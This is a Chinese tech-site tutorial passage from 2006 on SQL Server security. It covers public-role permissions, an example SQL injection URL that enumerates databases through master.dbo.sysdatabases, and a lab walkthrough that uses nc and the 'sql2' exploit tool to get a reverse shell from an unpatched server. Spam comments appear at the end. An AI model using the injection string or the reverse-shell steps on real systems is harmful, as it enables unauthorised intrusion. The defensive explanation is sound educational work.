<%@ page contentType="text/html; charset=gb2312"%> sqlserver的几个安全问题(5)
网站公告:   ◆北天JAVA技术网热情为java爱好者服务,本网内容包括JAVA(JSP、servlet、EJB、webservice、j2ee、javabean、应用服务器、JavaScript),数据库(MYSQL、SQL Server、Sybase、Oracle、DB2、数据库综合知识),设计研究(设计模式、Struts、Spring、Hibernate、设计框架、设计综合知识),WEB2.0新技术(主要介绍AJAX),以及各种技术的入门、实例、例子等等,欢迎各位多来坐坐!◆  诚邀各位JAVA爱好者加盟!◆  本网站内容丰富,更新快,保证每周20篇以上!  
加入收藏
设为首页
联系站长
承接项目
  相关资源:网站首页 | 免费培训学院 | 技术论坛 | JAVA聊天室 | 作家专栏 | 开发工具 | 认证考试 | 会员俱乐部
  JAVA技术初学者园地 | jsp与servlet | javascript | Java源代码 | EJB | web service | 应用服务器 | JAVA综合知识
  设计研究设计模式 | 设计框架 | Struts | Spring | Hibernate | 开源项目 | 面向对象设计 | 设计综合知识
  数 据 库MYSQL | SQL Server | Sybase | Oracle | DB2 | Informix | Access | 数据库综合知识
  其他资源:AJAX新技术 | 网站开发 | ERP软件 | OA办公软件 | 商业智能BI | 开发综合知识 | 承接项目 | 项目试用

 
 
sqlserver的几个安全问题(5)
     发布者: 发布时间:2006-05-07
问题出在public 角色,下面这段话是sql server帮助中写的。

  public 角色是一个特殊的数据库角色,每个数据库用户都属于它。public 角色:

  · 捕获数据库中用户的所有默认权限。
  · 无法将用户、组或角色指派给它,因为默认情况下它们即属于该角色。
  · 含在每个数据库中,包括 master、msdb、tempdb、model 和所有用户数据库。
  · 无法除去。

  如图22是master库中的“public”角色,双击“public”,在界面中单击“权限”,出现图23界面,可以看到该角色具有sysdatabases的访问权限。可以看到权限分得非常细,有select、insert、update、delete等,如图24,把权限改为禁止,再执行select name from sysdatabases时出现了“拒绝了对对象 ''sysdatabases''(数据库 ''master'',所有者 ''dbo'')的 select 权限。”的提示。



图22



图23



图24

  public角色默认没有执行扩展存储过程的权限,但可以赋予该角色执行的权限,有访问库的权限,也可以去掉。看到这,是不是觉得非常麻烦,本来权限的设置就是个双刃剑,设置得过于宽松会有安全漏洞,过于严格在程序运行时可能会出问题,本文无法给出一个彻底的解决方案,只要在懂得原理的基础上,在实践中不断摸索才能理出一个最佳方案。

  3、注入

  对于sql server+asp的注入,有一种是asp连接sql server用户的权限足够大,而asp程序本身有漏洞,而从而构造出类似http://www.***.com/aaa.asp?id=2300 and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 这样的sql语句,根据前文讲的原理暴出库、表及相应的纪录。

  关于注入有许多精彩和经典的文章,还有像nbsi2那样好用的工具,在此就不班门弄斧了。

  三、sql server不打补丁的漏洞

  小王的sql server是安装在win 2000上的,没有打补丁,没打补丁的sql server就是个大漏勺,无论你的权限设置的多么严格都是一张一捅就破的烂纸。下面的例子是对有漏洞的sql serve(安装在192.168.113.10这台机器上)的攻击,实验中用到了两个工具,nc和sql2,nc别名瑞士军刀,是古老且十分强大的网络工具,如果想知道详细用法请参考网上的相关资料,sql2是专门攻击有漏洞的sql serve(sp2以下,含sp2),过程如下:

  如图25,在我的机器(ip地址为192.168.113.207)的命令窗口下(运行cmd)运行nc –l –p 77,意思是在本机开个77的端口
新建一个命令窗口,运行sql2 192.168.113.10 192.168.113.207 77 0

  如果192.168.113.10上的sql serve有漏洞,192.168.113.207的nc监视窗口就会出现下图26的界面,注意!这个界面可是装有sql serve机器的,换句话,我们已经入侵到这台机器了。接着看下图27,用ipconfig 查的地址是192.168.113.10,它归你控制了,简单吧!



图25



图26



图27

(转载文章请保留出处:北天JAVA技术网(www.java114.com))
 
更多精彩文章:
sqlserver的几个安全问题(6)
sqlserver2005安装及界面截图,新增功能
sqlserver与excel数据互导解答
sqlserver连接基础知识
浅析sqlserver一个没有公开的存储过程
数据库考试简介——微软数据库管理员(mcdba)
 
最近评论:
        
冰封的往事!
wow power leveling,wow gold,wow power leveling,wow gold max(9428)
        
冰封的往事!
wow power leveling,wow gold,WoW Gold,wow gold max(8874)
        
飞舞的传奇!
传世私服,传世私服.传奇世界私服传奇世界私服,传世私服传世私服, 传奇世界私服传奇世界私服.传奇私服传奇私服. max(7816)
        
标 题:   
内 容:   
 
                                  
 
免责声明:该文章由网友发表,如果对您造成侵权,请联系站长

首页 - 承接项目 - 网站地图 - 联系我们 -
版权所有北天JAVA技术工作室 ICP证号:粤ICP备06079815号